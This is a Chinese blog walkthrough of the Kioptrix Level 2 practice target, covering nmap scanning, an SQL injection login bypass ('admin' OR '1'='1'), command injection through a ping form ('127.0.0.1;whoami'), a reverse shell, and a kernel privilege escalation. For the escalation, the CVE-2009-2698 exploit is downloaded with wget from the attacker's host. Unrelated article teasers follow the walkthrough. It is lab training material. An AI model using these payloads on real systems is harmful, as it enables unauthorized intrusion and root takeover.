oscp学习之路,Kioptix Level2靶场通关教程

server/2024/12/27 8:16:51/

oscp学习之路,Kioptix Level2靶场通关教程

靶场下载:Kioptrix Level 2.zip

链接: https://pan.baidu.com/s/1gxVRhrzLW1oI_MhcfWPn0w?pwd=1111 提取码: 1111

搭建好靶场之后输入ip a看一下攻击机的IP。

确定好本机IP后,使用nmap扫描网段,

nmap 192.168.0.1/24

扫描发现靶机,靶机IP为192.168.0.106,开放端口为22、80、111、443、631、3306,访问页面端进行查看

一个登录框,扫描一下目录看看

访问后是一个apache的说明,唯一的信息就是apache的版本信息了,在次回到登录的原始页面,先拿弱口令和万能密码试试,使用**<font style="color:rgb(64, 64, 64);background-color:rgb(236, 236, 236);">admin' OR '1'='1/admin</font>**万能密码成功登录

看起来页面少了输入的表格,查看一下源代码,

发现在源代码中代码有误导致其没有显示出来——center后面少一个',并且表单数据将被发送到 <font style="color:rgb(64, 64, 64);">pingit.php</font> 文件进行处理,处理结果将在新标签页中显示。进入编辑模式,复制粘贴对其进行修改补全。

				<td align='center'><input type="text" name="ip" size="30"><input type="submit" value="submit" name="submit"></td></td>

修改完成后成功出现输入框和提交按钮。

输入127.0.0.1试试。

通过在后面衔接命令查看是否执行,输入127.0.0.1;whoami,提交后效果如图:

既然whoami可以执行,那么我们也可以通过写一个反弹shell来获取shell,成功弹回,

此时还不是交互式shell,通过**<font style="color:rgb(64, 64, 64);background-color:rgb(236, 236, 236);">python -c 'import pty; pty.spawn("/bin/bash")'</font>**指令构造伪终端。

接下来就该提权,查看一下系统的版本看是否存在漏洞

bash-3.00$ uname -a
uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 athlon i386 GNU/Linux
bash-3.00$ lsb_release -a
lsb_release -a
LSB Version:    :core-3.0-ia32:core-3.0-noarch:graphics-3.0-ia32:graphics-3.0-noarch
Distributor ID: CentOS
Description:    CentOS release 4.5 (Final)
Release:        4.5
Codename:       Final

CentOS系统** 4.5,内核版本为 2.6.9-55.EL**,很古老的版本了,网上查一下漏洞,这里使用的是[CVE-2009-2698](https://github.com/xiaoxiaoleo/CVE-2009-2698)下载exp,在本地使用python http.server 5555 启动一个http的服务

在靶机上进行下载,第一次下载的时候失败,发现是没有写入权限,切换到tmp目录下再次使用wget http://192.168.0109:5555/exp进行下载

成功下载,加权进行执行

运行后输入whoami发现成功提权,完成通关!


http://www.ppmy.cn/server/153565.html

相关文章

基于python+django的旅游信息网站-旅游景点门票管理系统

标题:基于 PythonDjango 的旅游信息网站-旅游景点门票管理系统 内容:1.摘要 基于 PythonDjango 的旅游信息网站-旅游景点门票管理系统的摘要&#xff1a; 随着旅游业的快速发展&#xff0c;旅游景点门票管理系统的重要性日益凸显。本文旨在设计并实现一个基于 PythonDjango 的…

Ps:在 Photoshop 中编辑视频

Photoshop 不仅是图像编辑的强大工具&#xff0c;它还提供了丰富的视频编辑功能&#xff0c;使用户可以轻松创建和编辑视频项目。 通过基于剪辑的“时间轴”面板&#xff0c;Photoshop 提供了类似于 Adobe Premiere Pro 等专业视频编辑器的操作体验。 Ps菜单&#xff1a;窗口/时…

微信小程序UI自动化测试实践 !

微信小程序UI自动化测试实践 引言&#xff1a; 随着微信小程序的快速发展&#xff0c;越来越多的企业和开发者开始开发小程序来满足用户的需求。而在开发小程序的过程中&#xff0c;UI自动化测试是一个必不可少的环节&#xff0c;可以帮助开发者减少人工测试的工作量&#xff…

红黑树C/CPP

#include <stdio.h> #include <stdlib.h>// 红黑树节点颜色定义 typedef enum { RED, BLACK } NodeColor;// 红黑树节点结构 typedef struct RBTreeNode {int key; // 节点的键值NodeColor color; // 节点的颜色&#xff08…

OpenCV相机标定与3D重建(35)计算两幅图像之间本质矩阵(Essential Matrix)的函数findEssentialMat()的使用

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 从两幅图像中的对应点计算本质矩阵。 cv::findEssentialMat 是 OpenCV 库中用于计算两幅图像之间本质矩阵&#xff08;Essential Matrix&#xf…

基于 Paimon x Spark 采集分析半结构化 JSON 的优化实践

摘要&#xff1a;本文整理自 阿里巴巴 A 数据湖架构师康凯老师和 Paimon PMC Member 毕岩老师在11月15日 Apache Spark & Paimon Meetup&#xff0c;助力 Lakehouse 架构生产落地上的分享。 文章介绍了阿里巴巴 A 业务基于 Variant 类型的 JSON 链路优化&#xff0c;并从技…

质数分解,用sqrt缩小范围

题目&#xff1a;scanf一个整数&#xff0c;int32范围内&#xff0c;分解为质数序列输出 例如&#xff1a; 12分解为2 2 3 技巧就一个&#xff1a;用sqrt缩小范围 因为uint32(4,294,967,295)(接近43亿个数)范围内有2亿个左右质数&#xff0c;所以&#xff0c;一般不会用缓存去…

DevExpress WPF中文教程:Grid - 如何移动和调整列大小?(二)

DevExpress WPF拥有120个控件和库&#xff0c;将帮助您交付满足甚至超出企业需求的高性能业务应用程序。通过DevExpress WPF能创建有着强大互动功能的XAML基础应用程序&#xff0c;这些应用程序专注于当代客户的需求和构建未来新一代支持触摸的解决方案。 无论是Office办公软件…